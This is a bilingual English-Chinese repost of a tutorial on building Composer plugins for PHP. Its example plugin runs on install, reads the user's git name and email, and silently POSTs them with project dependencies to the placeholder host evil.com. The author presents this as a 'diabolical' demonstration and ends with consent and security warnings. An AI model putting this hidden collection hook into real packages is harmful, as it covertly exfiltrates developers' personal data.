composer常用插件_醉于Composer插件的强大功能

composer常用插件

Composer is the sharpest tool in the toolbox of the modern PHP developer. The days of manual dependency management are in the distant past, and in their place we have wonderful things like Semver. Things that help us sleep at night, because we can update our dependencies without smashing rocks together.

Composer是现代PHP开发人员工具箱中最强大的工具。 手动依赖性管理的时代已经过去,而在他们那里,我们拥有Semver之类的奇妙事物。 有助于我们彻夜难眠的事物,因为我们可以更新依赖关系而无需将石头砸在一起。

neanderthal smashing rocks

Even though we use Composer so frequently, there’s not a lot of shared knowledge about how to extend it. It’s as if it does such a good job in its default state, that extending it isn’t worth the time or effort to do or document. Even the official docs skirt around the issue. Probably because nobody is asking for it…

即使我们如此频繁地使用Composer,也没有太多有关如何扩展它的共享知识。 好像它在默认状态下做得很好,扩展它并不值得花费时间或精力去做或记录。 甚至官方文档也绕开了这个问题 。 可能是因为没有人要求…

Yet, recent changes have made it much easier to develop Composer plugins. Composer has also recently moved from alpha to beta, in perhaps the most conservative release cycle ever conceived. This thing that makes modern PHP possible in its current form. This cornerstone of professional PHP development. Just moved from alpha to beta.

但是,最近的更改使开发Composer插件变得更加容易。 Composer最近也从alpha过渡到beta,这可能是有史以来最保守的发行周期。 这使得现代PHP以其当前形式成为可能。 这是专业PHP开发的基石。 刚刚从alpha转到beta。

So, today I thought we would explore the possibilities of Composer plugin development, and create a fresh bit of documentation as we go.

因此,今天我想我们将探索Composer插件开发的可能性,并在进行过程中创建一些新的文档。

You can find the code for this plugin at github.com/assertchris-tutorials/tutorial-composer-plugins.

您可以在github.com/assertchris-tutorials/tutorial-composer-plugins中找到此插件的代码。

入门 (Getting Started)

To begin, we need to create a plugin repository, separate from the application we’ll use it with. Plugins are installed like any regular dependency. Let’s create a new folder with a composer.json file:

首先,我们需要创建一个插件存储库,与我们将使用它的应用程序分开。 像任何常规依赖项一样安装插件。 让我们用composer.json文件创建一个新文件夹:

{
    "type": "composer-plugin",
    "name": "sitepoint/plugin",
    "require": {
        "composer-plugin-api": "^1.0"
    }
}

All of these things are important! We give this plugin a type of composer-plugin or it will never be treated as such. composer-plugin dependencies are privy to hooks in the Composer lifecycle, which we’ll tap into.

所有这些事情都很重要! 我们为该插件提供了一个composer-plugin类型,否则将永远不会将其视为此类composer-plugincomposer-plugin依赖项依赖于Composer生命周期中的钩子,我们将对此进行研究。

We name the plugin, so our app can require it as a dependency. You can use whatever you like here, but you’ll need to remember the name for later.

我们为插件命名,因此我们的应用可以将其作为依赖项。 您可以在此处使用任何名称,但稍后需要记住该名称。

We also need to require the composer-plugin-api. The version here is important, because our plugin will be treated as being compatible with a specific version of the plugin API, which may affect things like method signatures.

我们还需要使用composer-plugin-api 。 这里的版本很重要,因为我们的插件将被视为与插件API的特定版本兼容,这可能会影响方法签名之类的东西。

Next, we need to autoload a plugin class, and tell Composer what it is called:

接下来,我们需要自动加载插件类,并告诉Composer它叫什么:

"autoload": {
    "psr-4": {
        "SitePoint\\": "src"
    }
},
"extra": {
    "class": "SitePoint\\Plugin"
}

We’ll create a src folder, with a Plugin.php file. That’s the file Composer is going to load (as the first hook in the Composer lifecycle):

我们将创建一个带有Plugin.php文件的src文件夹。 那就是Composer将要加载的文件(作为Composer生命周期中的第一个钩子):

namespace SitePoint;

use Composer\Composer;
use Composer\IO\IOInterface;
use Composer\Plugin\PluginInterface;

class Plugin implements PluginInterface
{
    public function activate(Composer $composer, IOInterface $io)
    {
        print "hello world";
    }
}

PluginInterface requires a public activate method, which is called when the plugin is loaded. It’s a good time to verify that the plugin code is working thus far. Now we have to create the app folder, with a composer.json file of its own:

PluginInterface需要一个公共的activate方法,该方法在加载插件时调用。 现在是时候验证插件代码是否正常工作了。 现在,我们必须使用自己的composer.json文件创建app文件夹:

{
    "name": "sitepoint/app",
    "require": {
        "sitepoint/plugin": "*"
    },
    "repositories": [
        {
            "type": "path",
            "url": "../sitepoint-plugin"
        }
    ],
    "minimum-stability": "dev",
    "prefer-stable": true
}

This one is significantly easier than before, and more likely to resemble how people will use your plugin. The best thing would be to release stable versions of your plugin through Packagist, but while you’re developing, this is ok. It tells Composer to require any available version of sitepoint/plugin, and where to source that dependency from.

这比以前容易得多,并且更像人们将如何使用您的插件。 最好的办法是通过Packagist发布稳定的插件版本,但是在开发过程中,这没关系。 它告诉Composer需要任何可用的sitepoint/plugin版本,以及从何处获取依赖项。

Path repositories are a relatively recent addition to Composer, and they automatically manage symlinking of dependencies so you don’t have to. Since we’re requiring an unstable dependency, we tell Composer to drop the minimum stability to dev.

路径存储库是Composer的相对较新的功能,它们可以自动管理依赖项的符号链接,因此您不必这样做。 由于我们需要不稳定的依赖关系,因此我们告诉Composer将最低稳定性降至dev

In situations like this, it’s a good idea to also prefer stable dependencies where possible…

在这种情况下,最好还是尽可能地选择稳定的依赖关系……

You should now be able to run composer install from your app folder, and see the hello world message! All without putting any code on Github or Packagist.

现在,您应该能够从您的应用程序文件夹中运行composer install ,并看到hello world消息! 所有这些都无需在GithubPackagist上添加任何代码。

I recommend running rm -rf vendor composer.lock; composer install during development, as it will reset the application and/or plugin state regularly. Especially when you start messing with installation folders!

我建议运行rm -rf vendor composer.lock; composer install 在开发过程中rm -rf vendor composer.lock; composer install ,因为它会定期重置应用程序和/或插件状态。 特别是当您开始弄乱安装文件夹时!

探索插件功能 (Exploring Plugin Capabilities)

It’s also a good idea to require composer/composer, as this will download the interfaces and classes we’re about to work with into the vendor folder.

要求composer/composer也是一个好主意,因为这会将我们将要使用的接口和类下载到vendor文件夹中。

Most of what you’ll learn about plugins, you can find just by looking through the Composer source code. Alternatively, you can “inspect” the two instances provided to your plugin’s activate method. It also helps if you’re using an IDE like PHPStorm, so you can jump to definitions easily.

您将了解有关插件的大部分知识,只需查看Composer源代码即可找到。 或者,您可以“检查”提供给插件的activate方法的两个实例。 如果您使用的是像PHPStorm这样的IDE,它也会有所帮助 ,因此您可以轻松跳转到定义。

For instance, we can inspect $composer->getPackage() to see what’s in the root composer.json file. We can use $io->ask("...") to ask questions during the installation process.

例如,我们可以检查$composer->getPackage()来查看根composer.json文件中的内容。 在安装过程中,我们可以使用$io->ask("...")来提问。

使用这些 (Putting These to Use)

Let’s build something practical, though perhaps a little diabolical. Let’s make our plugin track users and the dependencies they require. We begin by finding their Git username and email:

让我们构建一些实用的东西,尽管可能有点令人讨厌。 让我们的插件跟踪用户及其所需的依赖关系。 我们首先找到他们的Git用户名和电子邮件:

public function activate(Composer $composer, IOInterface $io)
{
    exec("git config --global user.name", $name);
    exec("git config --global user.email", $email);

    $payload = [];

    if (count($name) > 0) {
        $payload["name"] = $name[0];
    }

    if (count($email) > 0) {
        $payload["email"] = $email[0];
    }
}

Git user names and email addresses are usually stored in global config, which means running git config --global user.name from terminal will return them. We can take that a step further, by running them through exec, and inspecting the results.

Git用户名和电子邮件地址通常存储在全局配置中,这意味着从终端运行git config --global user.name将返回它们。 我们可以通过exec运行它们,然后检查结果,从而进一步向前迈进。

Next, let’s track the name of the application (if one is defined) as well as the dependencies and their versions. We can do the same for the development dependencies, so let’s create a method for both:

接下来,让我们跟踪应用程序的名称(如果已定义)以及依赖关系及其版本。 我们可以对开发依赖项执行相同的操作,因此让我们为这两种方法创建一个方法:

private function addDependencies($type, array $dependencies, array $payload)
{
    $payload = array_slice($payload, 0);

    if (count($dependencies) > 0) {
        $payload[$type] = [];
    }

    foreach ($dependencies as $dependency) {
        $name = $dependency->getTarget();
        $version = $dependency->getPrettyConstraint();

        $payload[$type][$name] = $version;
    }

    return $payload;
}

We get the name and version constraint for each dependency, and add them to the $payload array. Calling array_slice on the payload array ensures no side-effects for this method, so it can be called any number of times with exactly the same results.

我们获得每个依赖项的名称和版本约束,并将它们添加到$payload数组中。 在有效负载数组上调用array_slice可以确保此方法没有副作用,因此可以多次调用它,并获得完全相同的结果。

This is often referred to as a pure function, or an example of immutable variable usage.

这通常称为纯函数或不可变变量用法的示例。

Then we call this method with the dependency arrays:

然后,我们使用依赖项数组调用此方法:

public function activate(Composer $composer, IOInterface $io)
{
    // ...get user details

    $app = $composer->getPackage()->getName();

    if ($app) {
        $payload["app"] = $app;
    }

    $payload = $this->addDependencies(
        "requires",
        $composer->getPackage()->getRequires(),
        $payload
    );

    $payload = $this->addDependencies(
        "dev-requires",
        $composer->getPackage()->getDevRequires(),
        $payload
    );
}

Finally, we can send this data somewhere:

最后,我们可以将数据发送到某个地方:

public function activate(Composer $composer, IOInterface $io)
{
    // ...get user details

    // ...get project details

    $context = stream_context_create([
        "http" => [
            "method" => "POST",
            "timeout" => 0.5,
            "content" => http_build_query($payload),
        ],
    ]);

    @file_get_contents("https://evil.com", false, $context);
}

We could use Guzzle for this, but file_get_contents works just as well. We send a POST request to https://evil.com, with a serialized payload.

我们可以为此使用Guzzle ,但file_get_contents可以正常工作。 我们将POST请求发送到https://evil.com ,并带有序列化的有效负载。

做个好人 (Be Good)

I don’t want this to seem like a recommendation for covert user data gathering. But perhaps it’s useful to know just how much data someone could gather, just by requiring a well-crafted Composer plugin.

我不希望这看起来像秘密用户数据收集的建议。 但是,仅仅需要一个精心设计的Composer插件,了解某人可以收集多少数据可能会很有用。

You could use the composer install --no-plugins option, but many frameworks and content management systems depend on plugins to set themselves up correctly.

您可以使用composer install --no-plugins选项,但是许多框架和内容管理系统都依赖于插件来正确设置自身。

A few additional warnings:

一些其他警告:

  1. If you’re going to use exec, filter and validate any data that isn’t hard-coded. Otherwise you’re creating attack vectors for your code.

    如果您要使用exec ,则过滤并验证所有未硬编码的数据。 否则,您将为代码创建攻击向量。

  2. If you’re sending data anywhere, send it over HTTPS. Otherwise other malicious people can reap the benefits of your malicious data gathering.

    如果要在任何地方发送数据,请通过HTTPS发送。 否则,其他恶意人员可以从您的恶意数据收集中受益。
  3. Don’t track user data without consent. It’s possible to ask before you take the data, so do that every time! Something like IOInterface::ask("...") is just what you need…

    未经同意,请勿跟踪用户数据。 您可以在获取数据之前先询问一下,所以每次都要这样做! 像IOInterface::ask("...")的东西正是您所需要的……

Did this article help you? Perhaps you’ve got an idea for a plugin; like a custom installer plugin or a plugin that downloads offline documentation for popular projects. Let us know in the comments below…

这篇文章对你有帮助吗? 也许您对插件有个想法; 例如自定义安装程序插件或为热门项目下载离线文档的插件。 在下面的评论中让我们知道…

翻译自: https://www.sitepoint.com/drunk-with-the-power-of-composer-plugins/

composer常用插件

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值